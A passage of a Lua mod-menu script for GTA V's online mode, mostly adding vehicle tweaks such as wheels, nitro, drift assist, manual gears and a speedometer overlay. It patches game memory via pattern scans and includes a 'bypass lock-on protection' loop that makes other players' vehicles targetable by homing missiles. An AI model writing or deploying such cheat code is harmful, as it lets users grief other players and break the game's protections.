    Changewheel(players.user(), 9, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Bennys Originals'), {''}, T('Changes the wheels to Bennys Originals wheels'), Bow, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 8, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Bike'), {''}, T('Changes the wheels to Bike(motorcycle) wheels'), Bw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 6, wheel)
end)


GTLuaScript.list_select(pwmenu, T('High End'), {''}, T('Changes the wheels to High End wheels'), Hew, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 7, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Lowrider'), {''}, T('Changes the wheels to Lowrider wheels'), Lw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 2, wheel)
end)

GTLuaScript.list_select(pwmenu, T('Muscle'), {''}, T('Changes the wheels to Muscle wheels'), Mw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 1, wheel)
end)

GTLuaScript.list_select(pwmenu, T('Offroad'), {''}, T('Changes the wheels to Offroad wheels'), Orw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 4, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Racing(Formula 1 Wheels)'), {''}, T('Changes the wheels to Racing(Formula 1 Wheels) wheels'), Rw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 10, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Sport'), {''}, T('Changes the wheels to Sport wheels'), Spw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 0, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Street'), {''}, T('Changes the wheels to Street wheels'), Stw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 11, wheel)
end)


GTLuaScript.list_select(pwmenu, T('SUV'), {''}, T('Changes the wheels to SUV wheels'), Suw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 3, wheel)
end)

GTLuaScript.list_select(pwmenu, T('Tracks'), {''}, T('Changes the wheels to Track wheels'), Trw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 12, wheel)
end)


GTLuaScript.list_select(pwmenu, T('Tuner'), {''}, T('Changes the wheels to Tuner wheels'), Tuw, 1, function(w)
    local wheel = w - 1
    Changewheel(players.user(), 5, wheel)
end)

GTAC(pwinmenu, '卷起所有窗口', {'upwin'}, '立即卷起所有窗口', function ()
        Rollaup(players.user())
end)

GTAC(pwinmenu, '滚下所有窗户', {'downwin'}, '立即滚下所有窗口', function ()
        Rolladown(players.user())
end)

winmen = GT(pwinmenu, '上下卷窗', {''}, '上下滚动单个窗口')
        
for index, name in ipairs(Windows) do
    GTTG(winmen, '向上或向下滚动 '..name, {''}, '向上或向下滚动 '..name, function (on)
        local win = index - 1
        local curcar = entities.get_user_vehicle_as_handle()
        local winup= on
        if winup ~= nil then
            if winup then
                VEHICLE.ROLL_DOWN_WINDOW(curcar, win)
            else
                VEHICLE.ROLL_UP_WINDOW(curcar, win)
            end
        end
    end)
end

GTAC(funfeatures_veh, "弹射起步", {}, "极速", function(on)
    boost_player_vehicle_forward(on)
end)

local nitro_duration = 5000
local nitro_power = 2000
GTLP(funfeatures_veh, "氮气加速", {}, "进入载具内按X", function(toggle)
    if WIRI_PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) and player_cur_car ~= 0 then
        if WIRI_PAD.IS_CONTROL_JUST_PRESSED(357, 357) then 
            request_ptfx_asset('veh_xs_vehicle_mods')
            VEHICLE.SET_OVERRIDE_NITROUS_LEVEL(player_cur_car, true, 100, nitro_power, 99999999999, false)
            ENTITY.SET_ENTITY_MAX_SPEED(player_cur_car, 2000)
            VEHICLE.SET_VEHICLE_MAX_SPEED(player_cur_car, 2000)
            wait(nitro_duration)
            VEHICLE.SET_OVERRIDE_NITROUS_LEVEL(player_cur_car, false, 0, 0, 0, false)
            VEHICLE.SET_VEHICLE_MAX_SPEED(player_cur_car, 0.0)
        end
    end
end)

GTluaScript.slider(funfeatures_veh, "氮气时间", {"nitroduration"}, "设定氮气的事件数值", 1, 30, 5, 1, function(val)
    nitro_duration = val * 1000
end)

GTluaScript.slider(funfeatures_veh, "氮气速度", {"nitropower"}, "设定氮气的加速度数值", 1, 10000, 2000, 50, function(val)
    nitro_power = val
end)

cur_v_stance = 0.0
GTluaScript.click_slider_float(funfeatures_veh, "调整轮胎", {""}, "", 0, 25000, 0, 100, function(s)
    cur_v_stance = s * -0.001
    if player_cur_car ~= 0 then
        set_vehicle_handling_value(player_cur_car, 0xD0, cur_v_stance)
    end
end)

GTLP(funfeatures_veh,  "喇叭加速", {}, "按E加速", function(toggle)
    if player_cur_car ~= 0 then
        VEHICLE.SET_VEHICLE_ALARM(player_cur_car, false)
        if AUDIO.IS_HORN_ACTIVE(player_cur_car) then
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(player_cur_car, 1, 0.0, 1.0, 0.0, true, true, true, true)
        end
    end
end)

GTLP(funfeatures_veh, "载具平移", {}, "使用左右箭头键使车辆水平移动", function(toggle)
    if player_cur_car ~= 0 then
        local rot = ENTITY.GET_ENTITY_ROTATION(player_cur_car, 0)
        if PAD.IS_CONTROL_PRESSED(175, 175) then
            ENTITY.APPLY_FORCE_TO_ENTITY(player_cur_car, 1, 1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true)
            ENTITY.SET_ENTITY_ROTATION(player_cur_car, rot['x'], rot['y'], rot['z'], 0, true)
        end
        if PAD.IS_CONTROL_PRESSED(174, 174) then
            ENTITY.APPLY_FORCE_TO_ENTITY(player_cur_car, 1, -1.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0, true, true, true, false, true)
            ENTITY.SET_ENTITY_ROTATION(player_cur_car, rot['x'], rot['y'], rot['z'], 0, true)
        end
    end
end)

GTLP(funfeatures_veh, "绕过防锁定", {}, "绕过锁定限制", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local veh = PED.GET_VEHICLE_PED_IS_USING(ped)
        if PED.IS_PED_IN_ANY_VEHICLE(ped, false) then
            VEHICLE.SET_VEHICLE_ALLOW_HOMING_MISSLE_LOCKON_SYNCED(veh, true)
        end
    end
end)

local veh_jump = GT(funfeatures_veh, "车辆跳跃")
local force = 25.00
GTluaScript.slider_float(veh_jump, "跳跃倍率", {"jumpiness"}, "", 0, 10000, 2500, 100, function(value)
    force = value / 100
end)
GTLP(veh_jump, "启动", {"vehiclejump"}, "按空格键跳跃", function()
    local veh = entities.get_user_vehicle_as_handle()
    if veh ~= 0 and ENTITY.DOES_ENTITY_EXIST(veh) and PAD.IS_CONTROL_JUST_RELEASED(0, 102) then
        ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0.0, force/1.5, force, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
        repeat
            wait()
        until not ENTITY.IS_ENTITY_IN_AIR(veh)
    end
end)
vslamforce = 20
GTLP(funfeatures_veh, "车辆下降", {"vslamforce"}, "按ctrl", function(toggle)
    if player_cur_car ~= 0 then
        if PAD.IS_CONTROL_JUST_PRESSED(36,36) then
            ENTITY.APPLY_FORCE_TO_ENTITY(player_cur_car, 1, 0.0, 0.0, -vslamforce, 0.0, 0.0, 0.0, 0, true, true, true, false, true)
        end
    end
end)

--[[GTLP(funfeatures_veh, "转向灯", {}, "AD键", function()
    if(PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false)) then
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
        local left = PAD.IS_CONTROL_PRESSED(34, 34)
        local right = PAD.IS_CONTROL_PRESSED(35, 35)
        local rear = PAD.IS_CONTROL_PRESSED(130, 130)
        if left and not right and not rear then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
        elseif right and not left and not rear then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
        elseif rear and not left and not right then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
        else
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, false)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, false)
        end
    end
end)]]

GTTG(funfeatures_veh, "车辆变形", {}, "载具不能是无敌的\n关闭载具修复功能", function(toggled)
    if toggled then
        menu.trigger_commands("vhdeformationmult 10000.0")
    else
        menu.trigger_commands("vhdeformationmult 1.00")
    end
end)

local seat_id = -1
local moved_seat = GTluaScript.click_slider(funfeatures_veh, "更换车辆座位", {}, "", 1, 1, 1, 1, function(seat_id)
    TASK.TASK_WARP_PED_INTO_VEHICLE(players.user_ped(), entities.get_user_vehicle_as_handle(), seat_id - 2)
end)

GTluaScript.on_tick_in_viewport(moved_seat, function()
    if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
        moved_seat.max_value = 0
    return end

    if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
        moved_seat.max_value = 0
    return end
    
    moved_seat.max_value = VEHICLE.GET_VEHICLE_MODEL_NUMBER_OF_SEATS(ENTITY.GET_ENTITY_MODEL(entities.get_user_vehicle_as_handle()))
end)

GTLP(funfeatures_veh, "贴地/贴墙", {}, "让您的车辆停在地上,也能粘在墙上", function(on)
    if player_cur_car ~= 0 then
        local vel = ENTITY.GET_ENTITY_VELOCITY(player_cur_car)
        vel['z'] = -vel['z']
        ENTITY.APPLY_FORCE_TO_ENTITY(player_cur_car, 2, 0, 0, -50 -vel['z'], 0, 0, 0, 0, true, false, true, false, true)
    end
end)

GTAC(funfeatures_veh, "车辆反转", {}, "使您在保持动力的情况下转弯\n建议对此进行绑定专属按键喔", function(click_type)
    if player_cur_car ~= 0 then
        local rot = ENTITY.GET_ENTITY_ROTATION(player_cur_car, 0)
        local vel = ENTITY.GET_ENTITY_VELOCITY(player_cur_car)
        ENTITY.SET_ENTITY_ROTATION(player_cur_car, rot['x'], rot['y'], rot['z']+180, 0, true)
        ENTITY.SET_ENTITY_VELOCITY(player_cur_car, -vel['x'], -vel['y'], vel['z'])
    end
end)

GTLP(funfeatures_veh, "显示车辆角度", {"carangle"}, "", function()
    if player_cur_car ~= 0 and PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then
        local ang = math.abs(math.ceil(math.abs(ENTITY.GET_ENTITY_ROTATION(player_cur_car, 0).z) - math.abs(CAM.GET_GAMEPLAY_CAM_ROT(0).z)))
        directx.draw_text(0.5, 1.0, tostring(ang) .. '°', 5, 1.4, {r=1, g=1, b=1, a=1}, true)
    end
end)

manual_transmission_list = GT(funfeatures_veh, "手动加减档", {}, "" )
manual_mode = false 
GTTG(manual_transmission_list, "手动模式开启", {}, "", function(on)
    manual_mode = on
    while true do 
        if player_cur_car ~= 0 then 
            local addr = entities.get_user_vehicle_as_pointer()
            local cur_gear = entities.get_current_gear(addr)
            local next_gear = entities.get_next_gear(addr)
            if not manual_mode then 
                entities.set_next_gear(addr, next_gear)
                break 
            end
            if m_shift_up_this_frame then
                if cur_gear ~= 6 then
                    entities.set_next_gear(addr, cur_gear + 1)
                end
                m_shift_up_this_frame = false 
            elseif m_shift_down_this_frame then 
                if cur_gear > 1 then 
                    entities.set_next_gear(addr, cur_gear - 1)
                end
                m_shift_down_this_frame = false 
            else
                entities.set_next_gear(addr, cur_gear)
            end
        end
        wait()
    end
end)

GTAC(manual_transmission_list, "下一档", {}, "", function()
    if player_cur_car ~= 0 then 
        m_shift_up_this_frame = true 
    end
end)

GTAC(manual_transmission_list, "上一档", {}, "", function()
    if player_cur_car ~= 0 then 
        m_shift_down_this_frame = true 
    end
end)

local resources_dir = filesystem.scripts_dir() .. '\\GTLuaScript\\'.. '\\chesubiao\\'
needle = directx.create_texture(resources_dir .. 'needle.png')
speedometer_case = directx.create_texture(resources_dir .. 'speedometer_case.png')
check_engine_light = directx.create_texture(resources_dir .. 'check_engine.png')
tach_case = directx.create_texture(resources_dir .. 'tach_case.png')
high_beam = directx.create_texture(resources_dir .. 'highbeam.png')
low_beam = directx.create_texture(resources_dir .. 'lowbeam.png')
tpms = directx.create_texture(resources_dir .. 'tpms.png')

traction_control = directx.create_texture(resources_dir .. 'traction.png')

driftmodee = GT(funfeatures_veh, "漂移ABS模式", {}, "附有辅助牵引的漂移模式")
 gs_driftMinSpeed = 8.0
 gs_driftMaxAngle = 50.0
 ControlVehicleAccelerate = 71
 ControlVehicleBrake = 72
 ControlVehicleDuck = 73
 ControlVehicleSelectNextWeapon = 99
 ControlVehicleMoveUpOnly = 61
 INPUT_FRONTEND_LS = 209
 DriftActivateKeyboard = INPUT_FRONTEND_LS
 CurrentGearOffset = memory.scan("A8 02 0F 84 ? ? ? ? 0F B7 86")+11
NextGearOffset = memory.scan("A8 02 0F 84 ? ? ? ? 0F B7 86")+18
 isDrifting      = 0
 wasDrifting     = 0
 isDriftFinished = 1
 prevGripState   = 0
 lastDriftAngle  = 0.0
 oldGripState    = 0
 debug_notification = 0
 textDrawCol = {
    r = 255,
    g = 255,
    b = 255,
    a = 255
}
 function getCurGear()
    return memory.read_byte(entities.get_user_vehicle_as_pointer() +memory.read_int(CurrentGearOffset))
end

 function getNextGear()
    return memory.read_byte(entities.get_user_vehicle_as_pointer() +memory.read_int(NextGearOffset))
end

 function setCurGear(gear)
    memory.write_byte(entities.get_user_vehicle_as_pointer() +memory.read_int(CurrentGearOffset), gear)
end
 function setNextGear(gear)
    memory.write_byte(entities.get_user_vehicle_as_pointer() +memory.read_int(NextGearOffset), gear)
end
 function getHeadingOfTravel(veh) 
    local velocity = ENTITY.GET_ENTITY_VELOCITY(veh)
    local x = velocity.x
    local y = velocity.y
    local at2 = math.atan(y, x)
    return math.fmod(270.0 + math.deg(at2), 360.0)
end
 function getCurrentVehicle() 
	local player_id = PLAYER.PLAYER_ID()
	local player_ped = PLAYER.GET_PLAYER_PED(player_id)
    local player_vehicle = 0
    if (PED.IS_PED_IN_ANY_VEHICLE(player_ped)) then
        veh = PED.GET_VEHICLE_PED_IS_USING(player_ped)
        if (NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(veh)) then
            player_vehicle = veh
        end 
    end
    return player_vehicle
end
function wrap360(val) 
    while (val < 0.0) do
        val = val + 360.0
    end
    while (val > 360.0) do
        val = val - 360.0
    end
    return val
end
function slamDatBitch(veh, height) 
    if (VEHICLE.IS_VEHICLE_ON_ALL_WHEELS(veh) and not ENTITY.IS_ENTITY_IN_AIR(veh)) then
     
        ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1,    0, 0, height,    0, 0, 0,   true, true)
    end
end
function driftmod_ontick() 
    local player = players.user()
    local veh = getCurrentVehicle()
    local inVehicle   = veh ~= 0
    local isDriving   = true
    local mps = ENTITY.GET_ENTITY_SPEED(veh)
    local mph       = mps * 2.23694
    local kmh       = mps * 3.6
    if inVehicle and isDriving and not isDrifting and not isDriftFinished then
        isDriftFinished = true
    end
    if not inVehicle or not isDriving then
        return
    end
    local driftKeyPressed = PAD.IS_CONTROL_PRESSED(2, ControlVehicleDuck) or PAD.IS_DISABLED_CONTROL_PRESSED(2, ControlVehicleDuck) or PAD.IS_CONTROL_PRESSED(0, DriftActivateKeyboard) or PAD.IS_DISABLED_CONTROL_PRESSED(0, DriftActivateKeyboard)
    if (driftKeyPressed and getCurGear(veh) > 2) then
        setCurGear(2)
        setNextGear(2)
    end
    if driftKeyPressed then
        if (PAD.GET_CONTROL_NORMAL(2, ControlVehicleBrake) > 0.1) then
            PAD.SET_CONTROL_VALUE_NEXT_FRAME(0, ControlVehicleBrake, 0)
            local neg = -0.3

            if (PAD.IS_CONTROL_PRESSED(2, ControlVehicleSelectNextWeapon)) then
                neg = 10
            end
            slamDatBitch(veh, neg * 1 * PAD.GET_CONTROL_NORMAL(2, ControlVehicleBrake))
        end 
        local angleOfTravel  = getHeadingOfTravel(veh)
        local angleOfHeading = ENTITY.GET_ENTITY_HEADING_FROM_EULERS(veh)
        local driftAngle = angleOfHeading - angleOfTravel
        if driftAngle and lastDriftAngle then
            local diff = driftAngle - lastDriftAngle

            if diff > 180.0 then
                driftAngle = driftAngle - 360.0
            end
            if diff < 180.0 then
                driftAngle = driftAngle - 360.0
            end
        end
        driftAngle     = wrap360(driftAngle)
        lastDriftAngle = driftAngle
        local zeroBasedDriftAngle = 360 - driftAngle
        if zeroBasedDriftAngle > 180 then
            zeroBasedDriftAngle = 0 - (360 - zeroBasedDriftAngle)
        end
        directx.draw_text(0,0,"                   漂移角度: " .. math.floor(zeroBasedDriftAngle) .. "°", ALIGN_TOP_CENTRE,1,textDrawCol)
        local done = false
        if ((isDrifting or kmh > gs_driftMinSpeed) and (math.abs(driftAngle - 360.0) < gs_driftMaxAngle) or (driftAngle < gs_driftMaxAngle)) then
            isDrifting      = 1
            isDriftFinished = 1;  -- Doesn't get set to 0 until isDrifting is 0.

            if driftKeyPressed then
                 
                if driftKeyPressed ~= oldGripState then
                    VEHICLE.SET_VEHICLE_REDUCE_GRIP(veh, driftKeyPressed)
                    oldGripState = driftKeyPressed
                end
            end
            done = true
        end
        if not done and kmh < gs_driftMinSpeed then
            if driftKeyPressed then
                if driftKeyPressed ~= oldGripState then
                    VEHICLE.SET_VEHICLE_REDUCE_GRIP(veh, driftKeyPressed)
                    oldGripState = driftKeyPressed
                end
            end
            done = true
        end
        if not done then
            if driftKeyPressed == oldGripState then
                VEHICLE.SET_VEHICLE_REDUCE_GRIP(veh, false)
                oldGripState = 0
            end
            if math.abs(zeroBasedDriftAngle) > gs_driftMaxAngle then
                if zeroBasedDriftAngle > 0 then
                    VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 0, true)
                    VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 1, false)
                    notification("漂移辅助ABS系统：请您反向左转", colors.pink)
                    VEHICLE.SET_VEHICLE_STEER_BIAS(veh, math.rad(zeroBasedDriftAngle * 0.69))
                else
                    VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 1, true)
                    VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 0, false)
              

                    notification("漂移辅助ABS系统：请您反向右转", colors.pink)

                    VEHICLE.SET_VEHICLE_STEER_BIAS(veh, math.rad(zeroBasedDriftAngle * 0.69))
      
                end
            end
		else 
			VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 0, false)
			VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(veh, 1, false)
        end
    end
    if not driftKeyPressed and prevGripState then
        isDrifting      = 0
        isDriftFinished = 0
        lastDriftAngle = 0

        if driftKeyPressed ~= oldGripState then
            VEHICLE.SET_VEHICLE_REDUCE_GRIP(veh, driftKeyPressed)
            oldGripState = driftKeyPressed
        end
    end
    prevGripState = driftKeyPressed
    if isDrifting ~= wasDrifting then
        wasDrifting     = isDrifting
        changedDrifting = true
    end
end

GTLP(driftmodee,"开启", {},"按住shift键进行漂移",function(on)
	driftmod_ontick()
end)
driftSetings = GT(driftmodee, "设置", {}, "")

GTluaScript.slider(driftSetings,"最小速度", {"minispeed"}, "", 0, 10000, gs_driftMinSpeed*100, 1, function(on)
    gs_driftMinSpeed = on/100
end)

GTluaScript.slider(driftSetings,"最大角度", {"maxangle"}, "", 0, 10000,gs_driftMaxAngle*100, 1, function(on)
    gs_driftMaxAngle = on/100
end)

GTluaScript.colour(driftSetings,"文本颜色", {}, "", textDrawCol,true , function(newCol)
    textDrawCol = newCol
end)

GTLP(funfeatures_veh, "漂移模式(手动)", {"dshiftdrift"}, "按住shift进行漂移", function(on)
    if PAD.IS_CONTROL_PRESSED(21, 21) then
        VEHICLE.SET_VEHICLE_REDUCE_GRIP(player_cur_car, true)
        VEHICLE.SET_VEHICLE_REDUCE_GRIP_LEVEL(player_cur_car, 0.0)
    else
        VEHICLE.SET_VEHICLE_REDUCE_GRIP(player_cur_car, false)
    end
end)

GTTG(funfeatures_veh, "头文字D模式", {"initiald"}, "应用预定义的载具操纵配置\n使车辆能够产生漂移的效果\n这不会神奇地让你成为漂移高手喔\n也不会神奇地使每辆车都擅长漂移", function(on, click_type)
    initial_d_mode = on
    initial_d_score_thread()
    if player_cur_car ~= 0 then 
        if on then
            set_vehicle_into_drift_mode(player_cur_car)
        else
            for offset, value in pairs(last_vehicle_handling_data) do
                set_vehicle_handling_value(player_cur_car, offset, value)
            end
        end
    end
end)

GTLP(funfeatures_veh,  "相机方向推力", {"thrustindir"}, "按住X并保持此状态\n将载具推向摄相机的方向视角,用于维持漂移状态", function(on)
    if player_cur_car ~= 0 and PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then 
        if util.is_key_down("X") then 
            cam_direction()
        else 
            before_vel = ENTITY.GET_ENTITY_VELOCITY(player_cur_car)
        end
    end
end)
GTluaScript.slider_float(funfeatures_veh, "相机方向推力的速度", {"thrustindiradd"}, "设定相机方向推力的额外速度数值", 0, 3000, 125, 1, function(s)
    thrust_cam_dir_add = s * -0.001
end)

veh_func = GT(carfly, '载具功能', {}, '')

GTTG(veh_func, '自动修理载具', {"mint"}, '', function (on)
if on then
GTluaScript.trigger_commands("mint on")
else
GTluaScript.trigger_commands("mint off")
end
end)

GTLP(veh_func, "转向指示灯", {}, "", function()
    if(PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false)) then
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)

        local left = PAD.IS_CONTROL_PRESSED(34, 34)
        local right = PAD.IS_CONTROL_PRESSED(35, 35)
        local rear = PAD.IS_CONTROL_PRESSED(130, 130)

        if left and not right and not rear then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
        elseif right and not left and not rear then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
        elseif rear and not left and not right then
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
        else
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, false)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, false)
        end
    end
end)

indicator_lights_list = GT(veh_func,"手动转向灯",{},"您可以设置快捷键,体验更真实的驾驶")

all_lights_opt = GTTG(indicator_lights_list,("危险双闪"), {}, "", function(on)
    if on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
        else
            notify(T("not_in_vehicle"), notif_off)
            menu.set_value(all_lights_opt, false)
        end
    end
    if not on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, false)
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, false)
        end
    end
end)

right_lights_opt = GTTG(indicator_lights_list,("左转向灯"), {}, "", function(on)
    if on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, true)
        else
            notify(T("not_in_vehicle"), notif_off)
            menu.set_value(right_lights_opt, false)
        end
    end
    if not on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 0, false)
        end
    end
end)

left_lights_opt = GTTG(indicator_lights_list,("右转向灯"), {}, "", function(on)
    if on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, true)
        else
            notify(T("not_in_vehicle"), notif_off)
            menu.set_value(left_lights_opt, false)
        end
    end
    if not on then
        if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
            local vehicle = entities.get_user_vehicle_as_handle(players.user())
            VEHICLE.SET_VEHICLE_INDICATOR_LIGHTS(vehicle, 1, false)
        end
    end
end)

GTTG(veh_func, '载具无敌', {"vehgodmode"}, '', function (on)
if on then
GTluaScript.trigger_commands("vehgodmode on")
else
GTluaScript.trigger_commands("vehgodmode off")
end
end)

GTAC(veh_func, '摧毁载具', {"destroyvehicle"}, '', function ()
GTluaScript.trigger_commands("destroyvehicle")
end)

GTAC(veh_func, '删除载具', {""}, '', function ()
GTluaScript.trigger_commands("deletevehicle")
end)

GTAC(veh_func,"进入最近车辆", {}, "", function()
	if not PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
		local player_pos = players.get_position(players.user())
		local veh = ent_func.getClosestVehicle(player_pos)
		local ped = VEHICLE.GET_PED_IN_VEHICLE_SEAT(veh, -1, true)
		if PED.IS_PED_A_PLAYER(ped) then
		else
		    entities.delete_by_handle(ped)
			PED.SET_PED_INTO_VEHICLE(players.user_ped(), veh, -1)
		end
	end
end)

GTLP(veh_func, translate("Vehicle", "引擎保持启动"), {"alwayson"}, "", function()
	if PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), false) then
		local vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
		VEHICLE.SET_VEHICLE_ENGINE_ON(vehicle, true, true, true)
		VEHICLE.SET_VEHICLE_LIGHTS(vehicle, 0)
		VEHICLE.SET_VEHICLE_HEADLIGHT_SHADOWS(vehicle, 2)
	end
end)

icluster = GT(speedometer_plate_root, "仪表盘位置", {}, "", function();end)

unit = 1
GTLuaScript.list_select(icluster, "单位", {"iclusterunits"}, "", {"MPH", "KPH"}, 1, function(index)
    unit = index 
end)

unit = 1
GTluaScript.list_select(icluster, "单位", {"iclusterunits"}, "", {"MPH", "KPH"}, 1, function(index)
    unit = index 
end)

speedometer_x_pos = 0.700
GTluaScript.slider_float(icluster, "车速表位置X", {}, "", 0, 1000, 700, 1, function(s)
    speedometer_x_pos = s * 0.001
end)

speedometer_y_pos = 0.800
GTluaScript.slider_float(icluster, "车速表位置Y", {}, "", 0, 1000, 800, 1, function(s)
    speedometer_y_pos = s * 0.001
end)

tachometer_x_pos = 0.830
GTluaScript.slider_float(icluster, "转速表位置X", {}, "", 0, 1000, 830, 1, function(s)
    tachometer_x_pos = s * 0.001
end)

tachometer_y_pos = 0.818
GTluaScript.slider_float(icluster, "转速表位置Y", {}, "", 0, 1000, 818, 1, function(s)
    tachometer_y_pos = s * 0.001
end)

gear_x_pos = 0.764
GTluaScript.slider_float(icluster, "齿轮位置X", {}, "", 0, 1000, 764, 1, function(s)
    gear_x_pos = s * 0.001
end)

gear_y_pos = 0.870
GTluaScript.slider_float(icluster, "齿轮位置Y", {}, "", 0, 1000, 870, 1, function(s)
    gear_y_pos = s * 0.001
end)

lights_x_pos = 0.660
GTluaScript.slider_float(icluster, "仪器位置X", {}, "", 0, 1000, 660, 1, function(s)
    lights_x_pos = s * 0.001
end)

lights_y_pos = 0.920
GTluaScript.slider_float(icluster, "仪器位置Y", {}, "", 0, 1000, 920, 1, function(s)
    lights_y_pos = s * 0.001
end)

white = {
    r = 1,
    g = 1,
    b = 1,
    a = 1.0
}

orange = {
    r = 1.0,
    g = 0.5,
    b = 0,
    a = 1
}

blue = {
    r = 0, 
    g = 0, 
    b = 1, 
    a = 1
}

green = {
    r = 0, 
    g = 1, 
    b = 0, 
    a = 1
}
GTTG(speedometer_plate_root, "仪表盘显示", {"icluster"}, "进入载具内即可显示", function(state)
UItoggle = state
local lights, high_lights = memory.alloc_int(), memory.alloc_int()
while UItoggle do 
    vehicle = PED.GET_VEHICLE_PED_IS_IN(players.user_ped(), false)
    if vehicle ~= 0 and PED.IS_PED_IN_ANY_VEHICLE(players.user_ped(), true) then 
        local vecs = ENTITY.GET_ENTITY_SPEED_VECTOR(vehicle, true)
        local v_hdl = entities.handle_to_pointer(vehicle)
        local speed = ENTITY.GET_ENTITY_SPEED(vehicle)
        local mph = speed * 2.236936
        local kph = speed * 3.6
        local max = VEHICLE.GET_VEHICLE_ESTIMATED_MAX_SPEED(vehicle)
        local max_mph = max * 2.236936
        local max_kph = max * 3.6

        if unit == 1 then 
            measured_speed = mph 
            measured_max = max_mph
        else
            measured_speed = kph 
            measured_max = max_kph
        end
        local speed_rotation = (measured_speed/measured_max)*0.32
        if speed_rotation >= 0.75 then 
            speed_rotation = 0.75
        end
        local rpm = entities.get_rpm(v_hdl)
        if rpm == 1 then 
            -- rev limiter simulation
            rpm = rpm + math.random(-2, 2)*0.01
        end
        local tach_rotation = rpm*0.45
        directx.draw_texture(speedometer_case, 0.05, 0.5, 0.5, 0.5, speedometer_x_pos+0.15, speedometer_y_pos, 0, white)
        --directx.draw_texture(needle, 0.023, 0.023, 0.88, 0.125, speedometer_x_pos+0.15, speedometer_y_pos+0.015, speed_rotation, white)
        -- speed text also i guess what
        directx.draw_text(speedometer_x_pos+0.175, speedometer_y_pos+0.03, math.ceil(measured_speed), 5, 0.8, white, true)
        -- rpm gauge
        directx.draw_texture(tach_case, 0.05, 0.05, 0.5, 0.5, tachometer_x_pos+0.110, tachometer_y_pos-0.090, 0, white)
        -- rpm needle
